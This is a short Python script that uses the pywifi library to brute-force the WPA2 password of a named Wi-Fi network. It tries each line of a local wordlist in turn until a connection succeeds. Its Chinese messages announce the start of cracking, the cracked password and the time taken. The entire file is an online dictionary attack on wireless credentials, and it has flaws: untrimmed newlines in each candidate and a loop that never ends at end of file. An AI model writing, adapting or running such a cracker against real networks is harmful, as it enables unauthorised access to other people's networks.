#!/usr/bin/python
# -*- coding: utf-8 -*-
# @Time: 20-11-22 下午3:30
# @Author: HuangChuQin
# @Site: 
# @File: GO.py
# @Software: PyCharm

import sys
import pywifi
from pywifi import const
import time
import datetime


def check_state():
    wifi = pywifi.PyWiFi()
    ifaces = wifi.interfaces()[0]
    print(ifaces.status())
    if ifaces.status() == 4:
        print("电脑已经连接wifi")
    else:
        print("电脑未连接")


def wifi_connect(sid, pwd):
    wifi = pywifi.PyWiFi()
    ifaces = wifi.interfaces()[0]
    ifaces.disconnect()
    time.sleep(1)
    wifi_status=ifaces.status()
    if wifi_status ==const.IFACE_DISCONNECTED:
        print("####pywifi.Profile()"+pwd)
        profile = pywifi.Profile()
        profile.ssid = sid
        profile.auth = const.AUTH_ALG_OPEN
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        profile.cipher = const.CIPHER_TYPE_CCMP
        profile.key = pwd
        ifaces.remove_all_network_profiles()
        print("####tep_profile = ifaces.add_network_profile(profile)"+pwd)
        tep_profile = ifaces.add_network_profile(profile)
        print("####ifaces.connect(tep_profile)"+pwd)
        ifaces.connect(tep_profile)
        print("####time.sleep(3)"+pwd)
        time.sleep(3)
        if ifaces.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False
    else:
        print("已有wifi连接")


def read_password(sid):
    print("开始破解:")
    # path = "/home/morocco/WorkSpaces/reseach-on-gitee/StockRegulatoryCenter/stock-task/ywifi/password/1pass00.txt"
    path = "/home/morocco/WorkSpaces/reseach-on-gitee/StockRegulatoryCenter/stock-task/ywifi/password/abc.txt"
    file = open(path,"r")
    while True:
        try:
            # 一行一行读取
            pad = file.readline()
            if len(pad)<8:
                continue
            flag = wifi_connect(sid, pad)

            if flag:
                print("密码已破解： ", pad)
                print("WiFi已自动连接！！！")
                break
            else:
                # 跳出当前循环，进行下一次循环
                print("密码破解中....密码校对: ", pad)
        except:
            e = sys.exc_info()
            print(e)
            break

start = datetime.datetime.now()
# read_password("TP-LINK-6DD4")
read_password("Morocco")
end = datetime.datetime.now()
print("破解WIFI密码一共用了多长时间：{}".format(end-start))
